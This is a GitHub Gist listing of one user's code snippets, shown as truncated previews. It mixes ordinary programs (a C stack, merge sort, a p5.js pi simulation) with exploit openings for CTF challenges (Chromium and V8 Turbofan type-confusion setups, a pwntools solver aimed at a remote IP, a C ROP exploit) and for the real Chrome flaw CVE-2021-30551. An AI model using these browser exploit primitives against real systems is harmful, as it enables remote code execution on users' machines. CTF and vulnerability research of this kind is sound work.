Skip to content

Instantly share code, notes, and snippets.

@r4j0x00
r4j0x00 / exploit.js
Created June 29, 2020 07:17
chromium-rce 0ctf quals 2020
function free(buf)
{
%ArrayBufferDetach(buf.buffer);
}
function u64(buf)
{
let x = BigInt(0);
for(i=0;i<8;++i)
x += BigInt(buf[i]) << BigInt(i*8);
@r4j0x00
r4j0x00 / stack.c
Last active July 11, 2020 06:40
Dynamic stack implementation in C
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define stype unsigned long long
struct list {
struct list *prev;
stype val;
};
@r4j0x00
r4j0x00 / merge_sort.c
Created October 8, 2020 19:01
MergeSort recursive
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define SIZE 0x10000
#define Type int64_t
#define printArray(arr, size) printf("["); \
for(int z=0;z<size;++z) { \
if(z != size-1) \
printf("%lli, ", arr[z]); \
@r4j0x00
r4j0x00 / collision.js
Last active October 15, 2020 13:29
Compute pi digits with collisions p5.js
let a = null;
let b = null;
let collisions = 0;
let digits = 6;
let steps = Math.pow(10, digits);
class Block {
constructor(x, mass, velocity) {
this.x = x;
this.y = windowHeight*0.9;
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
var arraybuf = new ArrayBuffer(0x13373);
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108, 0, 0, 10, 4, 1, 2, 0, 11]);
var mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(mod);
var shell = wasm_instance.exports.shell;
var obj_array = [1337331,1337332,1337333,1337334,wasm_instance,wasm_instance,1337336,1337337];
@r4j0x00
r4j0x00 / game2048.py
Last active January 18, 2021 12:28
game2048 solver real world ctf
from pwn import *
import threading
from requests import get, post
import time
e = ELF('./rhttpd')
libc = ELF('./libc.so.6')
HOST = '54.176.255.241'
p = remote(HOST, 54321)
@r4j0x00
r4j0x00 / proc.py
Created January 17, 2021 00:31
pwntools like process with no dependencies
from os import pipe, fork, dup2, execve, close, read, write
import sys
import threading
class process:
def __init__(self, path, env={}):
self.inp = input
if sys.version[0] == '2': self.inp = raw_input
self.version = int(sys.version[0])
@r4j0x00
r4j0x00 / rop.c
Created January 21, 2021 07:32
simple rop exploit in c
#include <stdio.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <stdint.h>
#include <assert.h>
#include <stdbool.h>
@r4j0x00
r4j0x00 / exploit.js
Last active April 9, 2021 03:01
Turbofan exploit picoCTF 2021
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
@r4j0x00
r4j0x00 / exploit.html
Created July 15, 2021 08:04
CVE-2021-30551
<body>
</body>
<script>
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
let buf2 = new ArrayBuffer(0x150);
function ftoi(val) {